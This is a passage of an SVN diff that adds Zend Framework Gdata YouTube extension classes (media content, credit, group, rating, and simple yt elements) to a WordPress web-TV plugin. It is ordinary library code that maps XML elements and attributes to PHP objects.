+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_MediaContent extends Zend_Gdata_Media_Extension_MediaContent
+{
+    protected $_rootElement = 'content';
+    protected $_rootNamespace = 'media';
+
+    /*
+     * Format of the video
+     * Optional.
+     *
+     * @var int
+     */
+    protected $_format = null;
+
+
+    function __construct() {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_format!= null) {
+            $element->setAttributeNS($this->lookupNamespace('yt'), 'yt:format', $this->_format);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        $absoluteAttrName = $attribute->namespaceURI . ':' . $attribute->localName;
+        if ($absoluteAttrName == $this->lookupNamespace('yt') . ':' . 'format') {
+            $this->_format = $attribute->nodeValue;
+        } else {
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Returns the format of the media
+     * Optional.
+     *
+     * @return int  The format of the media
+     */
+    public function getFormat()
+    {
+        return $this->_format;
+    }
+
+    /**
+     * Sets the format of the media
+     *
+     * @param int $value    Format of the media
+     * @return Zend_Gdata_YouTube_Extension_MediaContent  Provides a fluent interface
+     *
+     */
+    public function setFormat($value)
+    {
+        $this->_format = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaCredit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaCredit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaCredit.php	(revision 44)
@@ -0,0 +1,188 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the YouTube specific media:credit element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_MediaCredit extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'credit';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_role = null;
+
+    /**
+     * @var string
+     */
+    protected $_scheme = null;
+
+    /**
+     * Represents the value of the yt:type attribute.
+     *
+     * Set to 'partner' if the uploader of this video is a YouTube
+     * partner.
+     *
+     * @var string
+     */
+    protected $_yttype = null;
+
+    /**
+     * Creates an individual MediaCredit object.
+     *
+     * @param string $text
+     * @param string $role
+     * @param string $scheme
+     */
+    public function __construct($text = null, $role = null,  $scheme = null,
+        $yttype = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+        $this->_role = $role;
+        $this->_scheme = $scheme;
+        $this->_yttype = $yttype;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_role !== null) {
+            $element->setAttribute('role', $this->_role);
+        }
+        if ($this->_scheme !== null) {
+            $element->setAttribute('scheme', $this->_scheme);
+        }
+        if ($this->_yttype !== null) {
+            $element->setAttributeNS('http://gdata.youtube.com/schemas/2007',
+                'yt:type', $this->_yttype);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+            case 'role':
+                $this->_role = $attribute->nodeValue;
+                break;
+            case 'scheme':
+                $this->_scheme = $attribute->nodeValue;
+                break;
+            case 'type':
+                $this->_yttype = $attribute->nodeValue;
+                break;
+            default:
+                parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getRole()
+    {
+        return $this->_role;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaCredit Provides a fluent
+     *         interface
+     */
+    public function setRole($value)
+    {
+        $this->_role = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getScheme()
+    {
+        return $this->_scheme;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaCredit Provides a fluent
+     *         interface
+     */
+    public function setScheme($value)
+    {
+        $this->_scheme = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getYTtype()
+    {
+        return $this->_yttype;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaCredit Provides a fluent
+     *         interface
+     */
+    public function setYTtype($value)
+    {
+        $this->_yttype = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaGroup.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaGroup.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaGroup.php	(revision 44)
@@ -0,0 +1,335 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaGroup
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaGroup.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_MediaContent
+ */
+require_once 'Zend/Gdata/YouTube/Extension/MediaContent.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Duration
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Duration.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_MediaRating
+ */
+require_once 'Zend/Gdata/YouTube/Extension/MediaRating.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_MediaCredit
+ */
+require_once 'Zend/Gdata/YouTube/Extension/MediaCredit.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Private
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Private.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_VideoId
+ */
+require_once 'Zend/Gdata/YouTube/Extension/VideoId.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Uploaded
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Uploaded.php';
+
+/**
+ * This class represents the media:group element of Media RSS.
+ * It allows the grouping of media:content elements that are
+ * different representations of the same content.  When it exists,
+ * it is a child of an Entry (Atom) or Item (RSS).
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_MediaGroup extends Zend_Gdata_Media_Extension_MediaGroup
+{
+
+    protected $_rootElement = 'group';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var Zend_Gdata_YouTube_Extension_Duration
+     */
+    protected $_duration = null;
+
+    /**
+     * @var Zend_Gdata_YouTube_Extension_Private
+     */
+    protected $_private = null;
+
+    /**
+     * @var Zend_Gdata_YouTube_Extension_VideoId
+     */
+    protected $_videoid = null;
+
+    /**
+     * @var Zend_Gdata_YouTube_Extension_MediaRating
+     */
+    protected $_mediarating = null;
+
+    /**
+     * @var Zend_Gdata_YouTube_Extension_MediaCredit
+     */
+    protected $_mediacredit = null;
+
+    /**
+     * @var Zend_Gdata_YouTube_Extension_Uploaded
+     */
+    protected $_uploaded = null;
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_duration !== null) {
+            $element->appendChild(
+                $this->_duration->getDOM($element->ownerDocument));
+        }
+        if ($this->_private !== null) {
+            $element->appendChild(
+                $this->_private->getDOM($element->ownerDocument));
+        }
+        if ($this->_videoid != null) {
+            $element->appendChild(
+                $this->_videoid->getDOM($element->ownerDocument));
+        }
+        if ($this->_uploaded != null) {
+            $element->appendChild(
+                $this->_uploaded->getDOM($element->ownerDocument));
+        }
+        if ($this->_mediacredit != null) {
+            $element->appendChild(
+                $this->_mediacredit->getDOM($element->ownerDocument));
+        }
+        if ($this->_mediarating != null) {
+            $element->appendChild(
+                $this->_mediarating->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('media') . ':' . 'content':
+                $content = new Zend_Gdata_YouTube_Extension_MediaContent();
+                $content->transferFromDOM($child);
+                $this->_content[] = $content;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'rating':
+                $mediarating = new Zend_Gdata_YouTube_Extension_MediaRating();
+                $mediarating->transferFromDOM($child);
+                $this->_mediarating = $mediarating;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'credit':
+                $mediacredit = new Zend_Gdata_YouTube_Extension_MediaCredit();
+                $mediacredit->transferFromDOM($child);
+                $this->_mediacredit = $mediacredit;
+                break;
+            case $this->lookupNamespace('yt') . ':' . 'duration':
+                $duration = new Zend_Gdata_YouTube_Extension_Duration();
+                $duration->transferFromDOM($child);
+                $this->_duration = $duration;
+                break;
+            case $this->lookupNamespace('yt') . ':' . 'private':
+                $private = new Zend_Gdata_YouTube_Extension_Private();
+                $private->transferFromDOM($child);
+                $this->_private = $private;
+                break;
+            case $this->lookupNamespace('yt') . ':' . 'videoid':
+                $videoid = new Zend_Gdata_YouTube_Extension_VideoId();
+                $videoid ->transferFromDOM($child);
+                $this->_videoid = $videoid;
+                break;
+            case $this->lookupNamespace('yt') . ':' . 'uploaded':
+                $uploaded = new Zend_Gdata_YouTube_Extension_Uploaded();
+                $uploaded ->transferFromDOM($child);
+                $this->_uploaded = $uploaded;
+                break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Returns the duration value of this element
+     *
+     * @return Zend_Gdata_YouTube_Extension_Duration
+     */
+    public function getDuration()
+    {
+        return $this->_duration;
+    }
+
+    /**
+     * Sets the duration value of this element
+     *
+     * @param Zend_Gdata_YouTube_Extension_Duration $value The duration value
+     * @return Zend_Gdata_YouTube_Extension_MediaGroup Provides a fluent
+     *         interface
+     */
+    public function setDuration($value)
+    {
+        $this->_duration = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the videoid value of this element
+     *
+     * @return Zend_Gdata_YouTube_Extension_VideoId
+     */
+    public function getVideoId()
+    {
+        return $this->_videoid;
+    }
+
+    /**
+     * Sets the videoid value of this element
+     *
+     * @param Zend_Gdata_YouTube_Extension_VideoId $value The video id value
+     * @return Zend_Gdata_YouTube_Extension_MediaGroup Provides a fluent
+     *         interface
+     */
+    public function setVideoId($value)
+    {
+        $this->_videoid = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the yt:uploaded element
+     *
+     * @return Zend_Gdata_YouTube_Extension_Uploaded
+     */
+    public function getUploaded()
+    {
+        return $this->_uploaded;
+    }
+
+    /**
+     * Sets the yt:uploaded element
+     *
+     * @param Zend_Gdata_YouTube_Extension_Uploaded $value The uploaded value
+     * @return Zend_Gdata_YouTube_Extension_MediaGroup Provides a fluent
+     *         interface
+     */
+    public function setUploaded($value)
+    {
+        $this->_uploaded = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the private value of this element
+     *
+     * @return Zend_Gdata_YouTube_Extension_Private
+     */
+    public function getPrivate()
+    {
+        return $this->_private;
+    }
+
+    /**
+     * Sets the private value of this element
+     *
+     * @param Zend_Gdata_YouTube_Extension_Private $value The private value
+     * @return Zend_Gdata_YouTube_Extension_MediaGroup Provides a fluent
+     *         interface
+     */
+    public function setPrivate($value)
+    {
+        $this->_private = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the rating value of this element
+     *
+     * @return Zend_Gdata_YouTube_Extension_MediaRating
+     */
+    public function getMediaRating()
+    {
+        return $this->_mediarating;
+    }
+
+    /**
+     * Sets the media:rating value of this element
+     *
+     * @param Zend_Gdata_YouTube_Extension_MediaRating $value The rating element
+     * @return Zend_Gdata_YouTube_Extension_MediaGroup Provides a fluent
+     *         interface
+     */
+    public function setMediaRating($value)
+    {
+        $this->_mediarating = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the media:credit value of this element
+     *
+     * @return Zend_Gdata_YouTube_Extension_MediaCredit
+     */
+    public function getMediaCredit()
+    {
+        return $this->_mediacredit;
+    }
+
+    /**
+     * Sets the media:credit value of this element
+     *
+     * @param Zend_Gdata_YouTube_Extension_MediaCredit $value The credit element
+     * @return Zend_Gdata_YouTube_Extension_MediaGroup Provides a fluent
+     *         interface
+     */
+    public function setMediaCredit($value)
+    {
+        $this->_mediacredit = $value;
+        return $this;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaRating.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaRating.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaRating.php	(revision 44)
@@ -0,0 +1,149 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the media:rating element specific to YouTube.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_MediaRating extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'rating';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_scheme = null;
+
+    /**
+     * @var string
+     */
+    protected $_country = null;
+
+    /**
+     * Constructs a new MediaRating element
+     *
+     * @param string $text
+     * @param string $scheme
+     * @param string $country
+     */
+    public function __construct($text = null, $scheme = null, $country = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_scheme = $scheme;
+        $this->_country = $country;
+        $this->_text = $text;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *         child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_scheme !== null) {
+            $element->setAttribute('scheme', $this->_scheme);
+        }
+        if ($this->_country != null) {
+            $element->setAttribute('country', $this->_country);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'scheme':
+            $this->_scheme = $attribute->nodeValue;
+            break;
+        case 'country':
+            $this->_country = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getScheme()
+    {
+        return $this->_scheme;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_YouTube_Extension_MediaRating Provides a fluent interface
+     */
+    public function setScheme($value)
+    {
+        $this->_scheme = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getCountry()
+    {
+        return $this->_country;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_YouTube_Extension_MediaRating Provides a fluent interface
+     */
+    public function setCountry($value)
+    {
+        $this->_country = $value;
+        return $this;
+    }
+
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Movies.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Movies.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Movies.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:movies element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Movies extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'movies';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Music.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Music.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Music.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:music element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Music extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'music';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/NoEmbed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/NoEmbed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/NoEmbed.php	(revision 44)
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:noembed element used by the YouTube data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_NoEmbed extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'yt';
+    protected $_rootElement = 'noembed';
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_Extension_VideoShare object.
+     * @param bool $enabled(optional) The enabled value of the element.
+     */
+    public function __construct($enabled = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Occupation.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Occupation.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Occupation.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:occupation element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Occupation extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'occupation';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/PlaylistId.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/PlaylistId.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/PlaylistId.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:playlistId element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_PlaylistId extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'playlistId';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/PlaylistTitle.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/PlaylistTitle.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/PlaylistTitle.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:playlistTitle element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
